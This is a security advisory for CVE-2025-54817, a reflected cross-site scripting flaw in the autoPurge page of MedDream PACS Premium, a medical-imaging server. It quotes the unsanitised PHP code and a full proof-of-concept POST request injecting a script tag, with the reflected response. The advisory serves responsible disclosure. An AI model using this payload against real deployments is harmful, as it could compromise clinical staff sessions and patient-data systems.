CVE-2025-54817
A reflected cross-site scripting (xss) vulnerability exists in the autoPurge functionality of MedDream PACS Premium 7.3.6.870. A specially crafted malicious url can lead to arbitrary javascript code execution. An attacker can provide a URL to a malicious website to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
MedDream PACS Premium 7.3.6.870
MedDream PACS Premium - https://meddream.com/products/meddream-pacs-server/
6.1 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CWE-79 - Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
MedDream PACS is a DICOM 3.0-compliant server for storing, managing, and retrieving medical images. It includes a web-based DICOM viewer and administration interface, with features like user access control, study forwarding, and multi-format image support.
A post-authentication reflected cross-site scripting vulnerability exists in the functionality of the Pacs/autoPurge.php script.
The value of the purgeby parameter used in that script is written into the HTML output without any sanitization. The vulnerable code appears as follows:
} else if (strcasecmp($action, "Modify") == 0) {
$key = $_POST['seq'];
$purgeby = $_POST['purgeby']; ///// [1]
(...)
} else {
print "<h3><font color=red>";
print "<p>" . printf(pacsone_gettext("Invalid Automatic Purge Option: %s"), $purgeby); ///// [2]
print "</font></h3>";
exit();
}
The $purgeby variable is set by the attacker and is fully controllable [1], if the value set to $purgeby variable does not exist on predefined list, an error message is displayed in a form on html code [2].
Example of a malicious request and response containing injected HTML/JavaScript code:
POST /Pacs/autoPurge.php HTTP/1.1
Host: 192.168.0.42
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.0.42/Pacs/autoPurge.php
Origin: http://192.168.0.42
Connection: keep-alive
Cookie: sessionCookie=%DC%07%E5Rlp%1B%AA%B8%E6%BE%F3n%FA%E9%97%C70%84%EE%D2%91x%8E%40F%12u%8D%E7%EC%5C; PHPSESSID=d92c6a70310515c9c11b928a9fb86bee; MEDDREAMSESSID=89F9D14757A096B63E147238A622FC72
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
actionvalue=Modify&purgeby=<script>alert(1)</script>
RESP
HTTP/1.1 200 OK
Date: Tue, 19 Aug 2025 15:33:20 GMT
Server: =^_^=
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Powered-By: PHP/8.3.22
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: no-referrer-when-downgrade
Permissions-Policy: geolocation=(), microphone=(), camera=()
Content-Length: 4134
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
<div id="content">
<h3><font color=red>Invalid Automatic Purge Option: <script>alert(1)</script><p>57</font></h3>
2025-09-02 - Vendor Disclosure
2025-12-05 - Vendor Patch Release
2026-01-20 - Public Release
Discovered by Marcin 'Icewall' Noga of Cisco Talos.